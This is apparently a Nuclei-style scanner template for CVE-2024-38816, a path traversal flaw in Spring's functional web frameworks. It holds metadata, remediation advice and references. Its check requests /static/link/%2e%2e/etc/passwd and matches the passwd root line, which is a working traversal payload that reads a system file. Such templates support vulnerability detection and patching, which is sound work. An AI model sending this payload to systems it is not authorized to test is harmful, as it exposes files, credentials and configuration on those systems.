Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.
id: CVE-2024-38816
info:
name: WebMvc.fn/WebFlux.fn - Path Traversal
author: pussycat0x
severity: high
description: |
Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.
impact: |
Unauthenticated attackers can exploit path traversal to read any file accessible to the Spring application process, potentially exposing sensitive configuration files, credentials, and application data.
remediation: |
Upgrade to Spring Framework versions that address this path traversal vulnerability or disable static resource serving through functional web frameworks.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-38816
- https://github.com/masa42/CVE-2024-38816-PoC
- https://spring.io/security/cve-2024-38816
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-38816
epss-score: 0.14718
epss-percentile: 0.96493
tags: cve,cve2024,spring,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/static/link/%2e%2e/etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: regex
part: content_type
regex:
- "application/octet-stream"
- type: status
status:
- 200
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